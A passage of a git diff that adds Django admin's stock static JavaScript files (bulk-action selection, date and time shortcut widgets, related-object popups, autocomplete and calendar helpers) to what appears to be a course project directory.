reset(options); + const acrossInputs = document.querySelectorAll(options.acrossInput); + acrossInputs.forEach(function(acrossInput) { + acrossInput.value = 0; + }); + document.querySelector(options.actionContainer).classList.remove(options.selectedClass); + } + + function checker(actionCheckboxes, options, checked) { + if (checked) { + showQuestion(options); + } else { + reset(options); + } + actionCheckboxes.forEach(function(el) { + el.checked = checked; + el.closest('tr').classList.toggle(options.selectedClass, checked); + }); + } + + function updateCounter(actionCheckboxes, options) { + const sel = Array.from(actionCheckboxes).filter(function(el) { + return el.checked; + }).length; + const counter = document.querySelector(options.counterContainer); + // data-actions-icnt is defined in the generated HTML + // and contains the total amount of objects in the queryset + const actions_icnt = Number(counter.dataset.actionsIcnt); + counter.textContent = interpolate( + ngettext('%(sel)s of %(cnt)s selected', '%(sel)s of %(cnt)s selected', sel), { + sel: sel, + cnt: actions_icnt + }, true); + const allToggle = document.getElementById(options.allToggleId); + allToggle.checked = sel === actionCheckboxes.length; + if (allToggle.checked) { + showQuestion(options); + } else { + clearAcross(options); + } + } + + const defaults = { + actionContainer: "div.actions", + counterContainer: "span.action-counter", + allContainer: "div.actions span.all", + acrossInput: "div.actions input.select-across", + acrossQuestions: "div.actions span.question", + acrossClears: "div.actions span.clear", + allToggleId: "action-toggle", + selectedClass: "selected" + }; + + window.Actions = function(actionCheckboxes, options) { + options = Object.assign({}, defaults, options); + let list_editable_changed = false; + let lastChecked = null; + let shiftPressed = false; + + document.addEventListener('keydown', (event) => { + shiftPressed = event.shiftKey; + }); + + document.addEventListener('keyup', (event) => { + shiftPressed = event.shiftKey; + }); + + document.getElementById(options.allToggleId).addEventListener('click', function(event) { + checker(actionCheckboxes, options, this.checked); + updateCounter(actionCheckboxes, options); + }); + + document.querySelectorAll(options.acrossQuestions + " a").forEach(function(el) { + el.addEventListener('click', function(event) { + event.preventDefault(); + const acrossInputs = document.querySelectorAll(options.acrossInput); + acrossInputs.forEach(function(acrossInput) { + acrossInput.value = 1; + }); + showClear(options); + }); + }); + + document.querySelectorAll(options.acrossClears + " a").forEach(function(el) { + el.addEventListener('click', function(event) { + event.preventDefault(); + document.getElementById(options.allToggleId).checked = false; + clearAcross(options); + checker(actionCheckboxes, options, false); + updateCounter(actionCheckboxes, options); + }); + }); + + function affectedCheckboxes(target, withModifier) { + const multiSelect = (lastChecked && withModifier && lastChecked !== target); + if (!multiSelect) { + return [target]; + } + const checkboxes = Array.from(actionCheckboxes); + const targetIndex = checkboxes.findIndex(el => el === target); + const lastCheckedIndex = checkboxes.findIndex(el => el === lastChecked); + const startIndex = Math.min(targetIndex, lastCheckedIndex); + const endIndex = Math.max(targetIndex, lastCheckedIndex); + const filtered = checkboxes.filter((el, index) => (startIndex <= index) && (index <= endIndex)); + return filtered; + }; + + Array.from(document.getElementById('result_list').tBodies).forEach(function(el) { + el.addEventListener('change', function(event) { + const target = event.target; + if (target.classList.contains('action-select')) { + const checkboxes = affectedCheckboxes(target, shiftPressed); + checker(checkboxes, options, target.checked); + updateCounter(actionCheckboxes, options); + lastChecked = target; + } else { + list_editable_changed = true; + } + }); + }); + + document.querySelector('#changelist-form button[name=index]').addEventListener('click', function(event) { + if (list_editable_changed) { + const confirmed = confirm(gettext("You have unsaved changes on individual editable fields. If you run an action, your unsaved changes will be lost.")); + if (!confirmed) { + event.preventDefault(); + } + } + }); + + const el = document.querySelector('#changelist-form input[name=_save]'); + // The button does not exist if no fields are editable. + if (el) { + el.addEventListener('click', function(event) { + if (document.querySelector('[name=action]').value) { + const text = list_editable_changed + ? gettext("You have selected an action, but you haven’t saved your changes to individual fields yet. Please click OK to save. You’ll need to re-run the action.") + : gettext("You have selected an action, and you haven’t made any changes on individual fields. You’re probably looking for the Run button rather than the Save button."); + if (!confirm(text)) { + event.preventDefault(); + } + } + }); + } + // Sync counter when navigating to the page, such as through the back + // button. + window.addEventListener('pageshow', (event) => updateCounter(actionCheckboxes, options)); + }; + + // Call function fn when the DOM is loaded and ready. If it is already + // loaded, call the function now. + // http://youmightnotneedjquery.com/#ready + function ready(fn) { + if (document.readyState !== 'loading') { + fn(); + } else { + document.addEventListener('DOMContentLoaded', fn); + } + } + + ready(function() { + const actionsEls = document.querySelectorAll('tr input.action-select'); + if (actionsEls.length > 0) { + Actions(actionsEls); + } + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/admin/DateTimeShortcuts.js b/Semaine_11/Jour_04/staticfiles/admin/js/admin/DateTimeShortcuts.js new file mode 100644 index 0000000..6251614 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/admin/DateTimeShortcuts.js @@ -0,0 +1,413 @@ +/*global Calendar, findPosX, findPosY, get_format, gettext, gettext_noop, interpolate, ngettext, quickElement*/ +// Inserts shortcut buttons after all of the following: +// +// +'use strict'; +{ + const DateTimeShortcuts = { + calendars: [], + calendarInputs: [], + clockInputs: [], + clockHours: { + default_: [ + [gettext_noop('Now'), -1], + [gettext_noop('Midnight'), 0], + [gettext_noop('6 a.m.'), 6], + [gettext_noop('Noon'), 12], + [gettext_noop('6 p.m.'), 18] + ] + }, + dismissClockFunc: [], + dismissCalendarFunc: [], + calendarDivName1: 'calendarbox', // name of calendar
    that gets toggled + calendarDivName2: 'calendarin', // name of
    that contains calendar + calendarLinkName: 'calendarlink', // name of the link that is used to toggle + clockDivName: 'clockbox', // name of clock
    that gets toggled + clockLinkName: 'clocklink', // name of the link that is used to toggle + shortCutsClass: 'datetimeshortcuts', // class of the clock and cal shortcuts + timezoneWarningClass: 'timezonewarning', // class of the warning for timezone mismatch + timezoneOffset: 0, + init: function() { + const serverOffset = document.body.dataset.adminUtcOffset; + if (serverOffset) { + const localOffset = new Date().getTimezoneOffset() * -60; + DateTimeShortcuts.timezoneOffset = localOffset - serverOffset; + } + + for (const inp of document.getElementsByTagName('input')) { + if (inp.type === 'text' && inp.classList.contains('vTimeField')) { + DateTimeShortcuts.addClock(inp); + DateTimeShortcuts.addTimezoneWarning(inp); + } + else if (inp.type === 'text' && inp.classList.contains('vDateField')) { + DateTimeShortcuts.addCalendar(inp); + DateTimeShortcuts.addTimezoneWarning(inp); + } + } + }, + // Return the current time while accounting for the server timezone. + now: function() { + const serverOffset = document.body.dataset.adminUtcOffset; + if (serverOffset) { + const localNow = new Date(); + const localOffset = localNow.getTimezoneOffset() * -60; + localNow.setTime(localNow.getTime() + 1000 * (serverOffset - localOffset)); + return localNow; + } else { + return new Date(); + } + }, + // Add a warning when the time zone in the browser and backend do not match. + addTimezoneWarning: function(inp) { + const warningClass = DateTimeShortcuts.timezoneWarningClass; + let timezoneOffset = DateTimeShortcuts.timezoneOffset / 3600; + + // Only warn if there is a time zone mismatch. + if (!timezoneOffset) { + return; + } + + // Check if warning is already there. + if (inp.parentNode.querySelectorAll('.' + warningClass).length) { + return; + } + + let message; + if (timezoneOffset > 0) { + message = ngettext( + 'Note: You are %s hour ahead of server time.', + 'Note: You are %s hours ahead of server time.', + timezoneOffset + ); + } + else { + timezoneOffset *= -1; + message = ngettext( + 'Note: You are %s hour behind server time.', + 'Note: You are %s hours behind server time.', + timezoneOffset + ); + } + message = interpolate(message, [timezoneOffset]); + + const warning = document.createElement('div'); + const id = inp.id; + const field_id = inp.closest('p.datetime') ? id.slice(0, id.lastIndexOf("_")) : id; + warning.classList.add('help', warningClass); + warning.id = `${field_id}_timezone_warning_helptext`; + warning.textContent = message; + inp.parentNode.appendChild(warning); + }, + // Add clock widget to a given field + addClock: function(inp) { + const num = DateTimeShortcuts.clockInputs.length; + DateTimeShortcuts.clockInputs[num] = inp; + DateTimeShortcuts.dismissClockFunc[num] = function() { DateTimeShortcuts.dismissClock(num); return true; }; + + // Shortcut links (clock icon and "Now" link) + const shortcuts_span = document.createElement('span'); + shortcuts_span.className = DateTimeShortcuts.shortCutsClass; + inp.parentNode.insertBefore(shortcuts_span, inp.nextSibling); + const now_link = document.createElement('a'); + now_link.href = "#"; + now_link.textContent = gettext('Now'); + now_link.role = 'button'; + now_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleClockQuicklink(num, -1); + }); + const clock_link = document.createElement('a'); + clock_link.href = '#'; + clock_link.id = DateTimeShortcuts.clockLinkName + num; + clock_link.addEventListener('click', function(e) { + e.preventDefault(); + // avoid triggering the document click handler to dismiss the clock + e.stopPropagation(); + DateTimeShortcuts.openClock(num); + }); + + quickElement( + 'span', clock_link, '', + 'class', 'clock-icon', + 'title', gettext('Choose a Time') + ); + shortcuts_span.appendChild(document.createTextNode('\u00A0')); + shortcuts_span.appendChild(now_link); + shortcuts_span.appendChild(document.createTextNode('\u00A0|\u00A0')); + shortcuts_span.appendChild(clock_link); + + // Create clock link div + // + // Markup looks like: + //
    + //

    Choose a time

    + // + //

    Cancel

    + //
    + + const clock_box = document.createElement('div'); + clock_box.style.display = 'none'; + clock_box.style.position = 'absolute'; + clock_box.className = 'clockbox module'; + clock_box.id = DateTimeShortcuts.clockDivName + num; + document.body.appendChild(clock_box); + clock_box.addEventListener('click', function(e) { e.stopPropagation(); }); + + quickElement('h2', clock_box, gettext('Choose a time')); + const time_list = quickElement('ul', clock_box); + time_list.className = 'timelist'; + // The list of choices can be overridden in JavaScript like this: + // DateTimeShortcuts.clockHours.name = [['3 a.m.', 3]]; + // where name is the name attribute of the . + const name = typeof DateTimeShortcuts.clockHours[inp.name] === 'undefined' ? 'default_' : inp.name; + DateTimeShortcuts.clockHours[name].forEach(function(element) { + const time_link = quickElement('a', quickElement('li', time_list), gettext(element[0]), 'role', 'button', 'href', '#'); + time_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleClockQuicklink(num, element[1]); + }); + }); + + const cancel_p = quickElement('p', clock_box); + cancel_p.className = 'calendar-cancel'; + const cancel_link = quickElement('a', cancel_p, gettext('Cancel'), 'role', 'button', 'href', '#'); + cancel_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.dismissClock(num); + }); + + document.addEventListener('keyup', function(event) { + if (event.which === 27) { + // ESC key closes popup + DateTimeShortcuts.dismissClock(num); + event.preventDefault(); + } + }); + }, + openClock: function(num) { + const clock_box = document.getElementById(DateTimeShortcuts.clockDivName + num); + const clock_link = document.getElementById(DateTimeShortcuts.clockLinkName + num); + + // Recalculate the clockbox position + // is it left-to-right or right-to-left layout ? + if (window.getComputedStyle(document.body).direction !== 'rtl') { + clock_box.style.left = findPosX(clock_link) + 17 + 'px'; + } + else { + // since style's width is in em, it'd be tough to calculate + // px value of it. let's use an estimated px for now + clock_box.style.left = findPosX(clock_link) - 110 + 'px'; + } + clock_box.style.top = Math.max(0, findPosY(clock_link) - 30) + 'px'; + + // Show the clock box + clock_box.style.display = 'block'; + document.addEventListener('click', DateTimeShortcuts.dismissClockFunc[num]); + }, + dismissClock: function(num) { + document.getElementById(DateTimeShortcuts.clockDivName + num).style.display = 'none'; + document.removeEventListener('click', DateTimeShortcuts.dismissClockFunc[num]); + }, + handleClockQuicklink: function(num, val) { + let d; + if (val === -1) { + d = DateTimeShortcuts.now(); + } + else { + d = new Date(1970, 1, 1, val, 0, 0, 0); + } + DateTimeShortcuts.clockInputs[num].value = d.strftime(get_format('TIME_INPUT_FORMATS')[0]); + DateTimeShortcuts.clockInputs[num].focus(); + DateTimeShortcuts.dismissClock(num); + }, + // Add calendar widget to a given field. + addCalendar: function(inp) { + const num = DateTimeShortcuts.calendars.length; + + DateTimeShortcuts.calendarInputs[num] = inp; + DateTimeShortcuts.dismissCalendarFunc[num] = function() { DateTimeShortcuts.dismissCalendar(num); return true; }; + + // Shortcut links (calendar icon and "Today" link) + const shortcuts_span = document.createElement('span'); + shortcuts_span.className = DateTimeShortcuts.shortCutsClass; + inp.parentNode.insertBefore(shortcuts_span, inp.nextSibling); + const today_link = document.createElement('a'); + today_link.href = '#'; + today_link.role = 'button'; + today_link.appendChild(document.createTextNode(gettext('Today'))); + today_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleCalendarQuickLink(num, 0); + }); + const cal_link = document.createElement('a'); + cal_link.href = '#'; + cal_link.id = DateTimeShortcuts.calendarLinkName + num; + cal_link.addEventListener('click', function(e) { + e.preventDefault(); + // avoid triggering the document click handler to dismiss the calendar + e.stopPropagation(); + DateTimeShortcuts.openCalendar(num); + }); + quickElement( + 'span', cal_link, '', + 'class', 'date-icon', + 'title', gettext('Choose a Date') + ); + shortcuts_span.appendChild(document.createTextNode('\u00A0')); + shortcuts_span.appendChild(today_link); + shortcuts_span.appendChild(document.createTextNode('\u00A0|\u00A0')); + shortcuts_span.appendChild(cal_link); + + // Create calendarbox div. + // + // Markup looks like: + // + //
    + //

    + // + // February 2003 + //

    + //
    + // + //
    + //
    + // Yesterday | Today | Tomorrow + //
    + //

    Cancel

    + //
    + const cal_box = document.createElement('div'); + cal_box.style.display = 'none'; + cal_box.style.position = 'absolute'; + cal_box.className = 'calendarbox module'; + cal_box.id = DateTimeShortcuts.calendarDivName1 + num; + document.body.appendChild(cal_box); + cal_box.addEventListener('click', function(e) { e.stopPropagation(); }); + + // next-prev links + const cal_nav = quickElement('div', cal_box); + const cal_nav_prev = quickElement('a', cal_nav, '<', 'href', '#'); + cal_nav_prev.className = 'calendarnav-previous'; + cal_nav_prev.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.drawPrev(num); + }); + + const cal_nav_next = quickElement('a', cal_nav, '>', 'href', '#'); + cal_nav_next.className = 'calendarnav-next'; + cal_nav_next.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.drawNext(num); + }); + + // main box + const cal_main = quickElement('div', cal_box, '', 'id', DateTimeShortcuts.calendarDivName2 + num); + cal_main.className = 'calendar'; + DateTimeShortcuts.calendars[num] = new Calendar(DateTimeShortcuts.calendarDivName2 + num, DateTimeShortcuts.handleCalendarCallback(num)); + DateTimeShortcuts.calendars[num].drawCurrent(); + + // calendar shortcuts + const shortcuts = quickElement('div', cal_box); + shortcuts.className = 'calendar-shortcuts'; + let day_link = quickElement('a', shortcuts, gettext('Yesterday'), 'role', 'button', 'href', '#'); + day_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleCalendarQuickLink(num, -1); + }); + shortcuts.appendChild(document.createTextNode('\u00A0|\u00A0')); + day_link = quickElement('a', shortcuts, gettext('Today'), 'role', 'button', 'href', '#'); + day_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleCalendarQuickLink(num, 0); + }); + shortcuts.appendChild(document.createTextNode('\u00A0|\u00A0')); + day_link = quickElement('a', shortcuts, gettext('Tomorrow'), 'role', 'button', 'href', '#'); + day_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.handleCalendarQuickLink(num, +1); + }); + + // cancel bar + const cancel_p = quickElement('p', cal_box); + cancel_p.className = 'calendar-cancel'; + const cancel_link = quickElement('a', cancel_p, gettext('Cancel'), 'role', 'button', 'href', '#'); + cancel_link.addEventListener('click', function(e) { + e.preventDefault(); + DateTimeShortcuts.dismissCalendar(num); + }); + document.addEventListener('keyup', function(event) { + if (event.which === 27) { + // ESC key closes popup + DateTimeShortcuts.dismissCalendar(num); + event.preventDefault(); + } + }); + }, + openCalendar: function(num) { + const cal_box = document.getElementById(DateTimeShortcuts.calendarDivName1 + num); + const cal_link = document.getElementById(DateTimeShortcuts.calendarLinkName + num); + const inp = DateTimeShortcuts.calendarInputs[num]; + + // Determine if the current value in the input has a valid date. + // If so, draw the calendar with that date's year and month. + if (inp.value) { + const format = get_format('DATE_INPUT_FORMATS')[0]; + const selected = inp.value.strptime(format); + const year = selected.getUTCFullYear(); + const month = selected.getUTCMonth() + 1; + const re = /\d{4}/; + if (re.test(year.toString()) && month >= 1 && month <= 12) { + DateTimeShortcuts.calendars[num].drawDate(month, year, selected); + } + } + + // Recalculate the clockbox position + // is it left-to-right or right-to-left layout ? + if (window.getComputedStyle(document.body).direction !== 'rtl') { + cal_box.style.left = findPosX(cal_link) + 17 + 'px'; + } + else { + // since style's width is in em, it'd be tough to calculate + // px value of it. let's use an estimated px for now + cal_box.style.left = findPosX(cal_link) - 180 + 'px'; + } + cal_box.style.top = Math.max(0, findPosY(cal_link) - 75) + 'px'; + + cal_box.style.display = 'block'; + document.addEventListener('click', DateTimeShortcuts.dismissCalendarFunc[num]); + }, + dismissCalendar: function(num) { + document.getElementById(DateTimeShortcuts.calendarDivName1 + num).style.display = 'none'; + document.removeEventListener('click', DateTimeShortcuts.dismissCalendarFunc[num]); + }, + drawPrev: function(num) { + DateTimeShortcuts.calendars[num].drawPreviousMonth(); + }, + drawNext: function(num) { + DateTimeShortcuts.calendars[num].drawNextMonth(); + }, + handleCalendarCallback: function(num) { + const format = get_format('DATE_INPUT_FORMATS')[0]; + return function(y, m, d) { + DateTimeShortcuts.calendarInputs[num].value = new Date(y, m - 1, d).strftime(format); + DateTimeShortcuts.calendarInputs[num].focus(); + document.getElementById(DateTimeShortcuts.calendarDivName1 + num).style.display = 'none'; + }; + }, + handleCalendarQuickLink: function(num, offset) { + const d = DateTimeShortcuts.now(); + d.setDate(d.getDate() + offset); + DateTimeShortcuts.calendarInputs[num].value = d.strftime(get_format('DATE_INPUT_FORMATS')[0]); + DateTimeShortcuts.calendarInputs[num].focus(); + DateTimeShortcuts.dismissCalendar(num); + } + }; + + window.addEventListener('load', DateTimeShortcuts.init); + window.DateTimeShortcuts = DateTimeShortcuts; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/admin/RelatedObjectLookups.js b/Semaine_11/Jour_04/staticfiles/admin/js/admin/RelatedObjectLookups.js new file mode 100644 index 0000000..1fc03c6 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/admin/RelatedObjectLookups.js @@ -0,0 +1,252 @@ +/*global SelectBox, interpolate*/ +// Handles related-objects functionality: lookup link for raw_id_fields +// and Add Another links. +'use strict'; +{ + const $ = django.jQuery; + let popupIndex = 0; + const relatedWindows = []; + + function dismissChildPopups() { + relatedWindows.forEach(function(win) { + if(!win.closed) { + win.dismissChildPopups(); + win.close(); + } + }); + } + + function setPopupIndex() { + if(document.getElementsByName("_popup").length > 0) { + const index = window.name.lastIndexOf("__") + 2; + popupIndex = parseInt(window.name.substring(index)); + } else { + popupIndex = 0; + } + } + + function addPopupIndex(name) { + return name + "__" + (popupIndex + 1); + } + + function removePopupIndex(name) { + return name.replace(new RegExp("__" + (popupIndex + 1) + "$"), ''); + } + + function showAdminPopup(triggeringLink, name_regexp, add_popup) { + const name = addPopupIndex(triggeringLink.id.replace(name_regexp, '')); + const href = new URL(triggeringLink.href); + if (add_popup) { + href.searchParams.set('_popup', 1); + } + const win = window.open(href, name, 'height=500,width=800,resizable=yes,scrollbars=yes'); + relatedWindows.push(win); + win.focus(); + return false; + } + + function showRelatedObjectLookupPopup(triggeringLink) { + return showAdminPopup(triggeringLink, /^lookup_/, true); + } + + function dismissRelatedLookupPopup(win, chosenId) { + const name = removePopupIndex(win.name); + const elem = document.getElementById(name); + if (elem.classList.contains('vManyToManyRawIdAdminField') && elem.value) { + elem.value += ',' + chosenId; + } else { + elem.value = chosenId; + } + $(elem).trigger('change'); + const index = relatedWindows.indexOf(win); + if (index > -1) { + relatedWindows.splice(index, 1); + } + win.close(); + } + + function showRelatedObjectPopup(triggeringLink) { + return showAdminPopup(triggeringLink, /^(change|add|delete)_/, false); + } + + function updateRelatedObjectLinks(triggeringLink) { + const $this = $(triggeringLink); + const siblings = $this.nextAll('.view-related, .change-related, .delete-related'); + if (!siblings.length) { + return; + } + const value = $this.val(); + if (value) { + siblings.each(function() { + const elm = $(this); + elm.attr('href', elm.attr('data-href-template').replace('__fk__', value)); + elm.removeAttr('aria-disabled'); + }); + } else { + siblings.removeAttr('href'); + siblings.attr('aria-disabled', true); + } + } + + function updateRelatedSelectsOptions(currentSelect, win, objId, newRepr, newId, skipIds = []) { + // After create/edit a model from the options next to the current + // select (+ or :pencil:) update ForeignKey PK of the rest of selects + // in the page. + + const path = win.location.pathname; + // Extract the model from the popup url '...//add/' or + // '...///change/' depending the action (add or change). + const modelName = path.split('/')[path.split('/').length - (objId ? 4 : 3)]; + // Select elements with a specific model reference and context of "available-source". + const selectsRelated = document.querySelectorAll(`[data-model-ref="${modelName}"] [data-context="available-source"]`); + + selectsRelated.forEach(function(select) { + if (currentSelect === select || skipIds && skipIds.includes(select.id)) { + return; + } + + let option = select.querySelector(`option[value="${objId}"]`); + + if (!option) { + option = new Option(newRepr, newId); + select.options.add(option); + // Update SelectBox cache for related fields. + if (window.SelectBox !== undefined && !SelectBox.cache[currentSelect.id]) { + SelectBox.add_to_cache(select.id, option); + SelectBox.redisplay(select.id); + } + return; + } + + option.textContent = newRepr; + option.value = newId; + }); + } + + function dismissAddRelatedObjectPopup(win, newId, newRepr) { + const name = removePopupIndex(win.name); + const elem = document.getElementById(name); + if (elem) { + const elemName = elem.nodeName.toUpperCase(); + if (elemName === 'SELECT') { + elem.options[elem.options.length] = new Option(newRepr, newId, true, true); + updateRelatedSelectsOptions(elem, win, null, newRepr, newId); + } else if (elemName === 'INPUT') { + if (elem.classList.contains('vManyToManyRawIdAdminField') && elem.value) { + elem.value += ',' + newId; + } else { + elem.value = newId; + } + } + // Trigger a change event to update related links if required. + $(elem).trigger('change'); + } else { + const toId = name + "_to"; + const toElem = document.getElementById(toId); + const o = new Option(newRepr, newId); + SelectBox.add_to_cache(toId, o); + SelectBox.redisplay(toId); + if (toElem && toElem.nodeName.toUpperCase() === 'SELECT') { + const skipIds = [name + "_from"]; + updateRelatedSelectsOptions(toElem, win, null, newRepr, newId, skipIds); + } + } + const index = relatedWindows.indexOf(win); + if (index > -1) { + relatedWindows.splice(index, 1); + } + win.close(); + } + + function dismissChangeRelatedObjectPopup(win, objId, newRepr, newId) { + const id = removePopupIndex(win.name.replace(/^edit_/, '')); + const selectsSelector = interpolate('#%s, #%s_from, #%s_to', [id, id, id]); + const selects = $(selectsSelector); + selects.find('option').each(function() { + if (this.value === objId) { + this.textContent = newRepr; + this.value = newId; + } + }).trigger('change'); + updateRelatedSelectsOptions(selects[0], win, objId, newRepr, newId); + selects.next().find('.select2-selection__rendered').each(function() { + // The element can have a clear button as a child. + // Use the lastChild to modify only the displayed value. + this.lastChild.textContent = newRepr; + this.title = newRepr; + }); + const index = relatedWindows.indexOf(win); + if (index > -1) { + relatedWindows.splice(index, 1); + } + win.close(); + } + + function dismissDeleteRelatedObjectPopup(win, objId) { + const id = removePopupIndex(win.name.replace(/^delete_/, '')); + const selectsSelector = interpolate('#%s, #%s_from, #%s_to', [id, id, id]); + const selects = $(selectsSelector); + selects.find('option').each(function() { + if (this.value === objId) { + $(this).remove(); + } + }).trigger('change'); + const index = relatedWindows.indexOf(win); + if (index > -1) { + relatedWindows.splice(index, 1); + } + win.close(); + } + + window.showRelatedObjectLookupPopup = showRelatedObjectLookupPopup; + window.dismissRelatedLookupPopup = dismissRelatedLookupPopup; + window.showRelatedObjectPopup = showRelatedObjectPopup; + window.updateRelatedObjectLinks = updateRelatedObjectLinks; + window.dismissAddRelatedObjectPopup = dismissAddRelatedObjectPopup; + window.dismissChangeRelatedObjectPopup = dismissChangeRelatedObjectPopup; + window.dismissDeleteRelatedObjectPopup = dismissDeleteRelatedObjectPopup; + window.dismissChildPopups = dismissChildPopups; + window.relatedWindows = relatedWindows; + + // Kept for backward compatibility + window.showAddAnotherPopup = showRelatedObjectPopup; + window.dismissAddAnotherPopup = dismissAddRelatedObjectPopup; + + window.addEventListener('unload', function(evt) { + window.dismissChildPopups(); + }); + + $(document).ready(function() { + setPopupIndex(); + $("a[data-popup-opener]").on('click', function(event) { + event.preventDefault(); + opener.dismissRelatedLookupPopup(window, $(this).data("popup-opener")); + }); + $('body').on('click', '.related-widget-wrapper-link[data-popup="yes"]', function(e) { + e.preventDefault(); + if (this.href) { + const event = $.Event('django:show-related', {href: this.href}); + $(this).trigger(event); + if (!event.isDefaultPrevented()) { + showRelatedObjectPopup(this); + } + } + }); + $('body').on('change', '.related-widget-wrapper select', function(e) { + const event = $.Event('django:update-related'); + $(this).trigger(event); + if (!event.isDefaultPrevented()) { + updateRelatedObjectLinks(this); + } + }); + $('.related-widget-wrapper select').trigger('change'); + $('body').on('click', '.related-lookup', function(e) { + e.preventDefault(); + const event = $.Event('django:lookup-related'); + $(this).trigger(event); + if (!event.isDefaultPrevented()) { + showRelatedObjectLookupPopup(this); + } + }); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/autocomplete.js b/Semaine_11/Jour_04/staticfiles/admin/js/autocomplete.js new file mode 100644 index 0000000..d3daeab --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/autocomplete.js @@ -0,0 +1,33 @@ +'use strict'; +{ + const $ = django.jQuery; + + $.fn.djangoAdminSelect2 = function() { + $.each(this, function(i, element) { + $(element).select2({ + ajax: { + data: (params) => { + return { + term: params.term, + page: params.page, + app_label: element.dataset.appLabel, + model_name: element.dataset.modelName, + field_name: element.dataset.fieldName + }; + } + } + }); + }); + return this; + }; + + $(function() { + // Initialize all autocomplete widgets except the one in the template + // form used when a new formset is added. + $('.admin-autocomplete').not('[name*=__prefix__]').djangoAdminSelect2(); + }); + + document.addEventListener('formset:added', (event) => { + $(event.target).find('.admin-autocomplete').djangoAdminSelect2(); + }); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/js/calendar.js b/Semaine_11/Jour_04/staticfiles/admin/js/calendar.js new file mode 100644 index 0000000..b132420 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/js/calendar.js @@ -0,0 +1,239 @@ +/*global gettext, pgettext, get_format, quickElement, removeChildren*/ +/* +calendar.js - Calendar functions by Adrian Holovaty +depends on core.js for utility functions like removeChildren or quickElement +*/ +'use strict'; +{ + // CalendarNamespace -- Provides a collection of HTML calendar-related helper functions + const CalendarNamespace = { + monthsOfYear: [ + gettext('January'), + gettext('February'), + gettext('March'), + gettext('April'), + gettext('May'), + gettext('June'), + gettext('July'), + gettext('August'), + gettext('September'), + gettext('October'), + gettext('November'), + gettext('December') + ], + monthsOfYearAbbrev: [ + pgettext('abbrev. month January', 'Jan'), + pgettext('abbrev. month February', 'Feb'), + pgettext('abbrev. month March', 'Mar'), + pgettext('abbrev. month April', 'Apr'), + pgettext('abbrev. month May', 'May'), + pgettext('abbrev. month June', 'Jun'), + pgettext('abbrev. month July', 'Jul'), + pgettext('abbrev. month August', 'Aug'), + pgettext('abbrev. month September', 'Sep'), + pgettext('abbrev. month October', 'Oct'), + pgettext('abbrev. month November', 'Nov'), + pgettext('abbrev. month December', 'Dec') + ], + daysOfWeek: [ + gettext('Sunday'), + gettext('Monday'), + gettext('Tuesday'), + gettext('Wednesday'), + gettext('Thursday'), + gettext('Friday'), + gettext('Saturday') + ], + daysOfWeekAbbrev: [ + pgettext('abbrev. day Sunday', 'Sun'), + pgettext('abbrev. day Monday', 'Mon'), + pgettext('abbrev. day Tuesday', 'Tue'), + pgettext('abbrev. day Wednesday', 'Wed'), + pgettext('abbrev. day Thursday', 'Thur'), + pgettext('abbrev. day Friday', 'Fri'), + pgettext('abbrev. day Saturday', 'Sat') + ], + daysOfWeekInitial: [ + pgettext('one letter Sunday', 'S'), + pgettext('one letter Monday', 'M'), + pgettext('one letter Tuesday', 'T'), + pgettext('one letter Wednesday', 'W'), + pgettext('one letter Thursday', 'T'), + pgettext('one letter Friday', 'F'), + pgettext('one letter Saturday', 'S') + ], + firstDayOfWeek: parseInt(get_format('FIRST_DAY_OF_WEEK')), + isLeapYear: function(year) { + return (((year % 4) === 0) && ((year % 100) !== 0 ) || ((year % 400) === 0)); + }, + getDaysInMonth: function(month, year) { + let days; + if (month === 1 || month === 3 || month === 5 || month === 7 || month === 8 || month === 10 || month === 12) { + days = 31; + } + else if (month === 4 || month === 6 || month === 9 || month === 11) { + days = 30; + } + else if (month === 2 && CalendarNamespace.isLeapYear(year)) { + days = 29; + } + else { + days = 28; + } + return days; + }, + draw: function(month, year, div_id, callback, selected) { // month = 1-12, year = 1-9999 + const today = new Date(); + const todayDay = today.getDate(); + const todayMonth = today.getMonth() + 1; + const todayYear = today.getFullYear(); + let todayClass = ''; + + // Use UTC functions here because the date field does not contain time + // and using the UTC function variants prevent the local time offset + // from altering the date, specifically the day field. For example: + // + // ``` + // var x = new Date('2013-10-02'); + // var day = x.getDate(); + // ``` + // + // The day variable above will be 1 instead of 2 in, say, US Pacific time + // zone. + let isSelectedMonth = false; + if (typeof selected !== 'undefined') { + isSelectedMonth = (selected.getUTCFullYear() === year && (selected.getUTCMonth() + 1) === month); + } + + month = parseInt(month); + year = parseInt(year); + const calDiv = document.getElementById(div_id); + removeChildren(calDiv); + const calTable = document.createElement('table'); + quickElement('caption', calTable, CalendarNamespace.monthsOfYear[month - 1] + ' ' + year); + const tableBody = quickElement('tbody', calTable); + + // Draw days-of-week header + let tableRow = quickElement('tr', tableBody); + for (let i = 0; i < 7; i++) { + quickElement('th', tableRow, CalendarNamespace.daysOfWeekInitial[(i + CalendarNamespace.firstDayOfWeek) % 7]); + } + + const startingPos = new Date(year, month - 1, 1 - CalendarNamespace.firstDayOfWeek).getDay(); + const days = CalendarNamespace.getDaysInMonth(month, year); + + let nonDayCell; + + // Draw blanks before first of month + tableRow = quickElement('tr', tableBody); + for (let i = 0; i < startingPos; i++) { + nonDayCell = quickElement('td', tableRow, ' '); + nonDayCell.className = "nonday"; + } + + function calendarMonth(y, m) { + function onClick(e) { + e.preventDefault(); + callback(y, m, this.textContent); + } + return onClick; + } + + // Draw days of month + let currentDay = 1; + for (let i = startingPos; currentDay <= days; i++) { + if (i % 7 === 0 && currentDay !== 1) { + tableRow = quickElement('tr', tableBody); + } + if 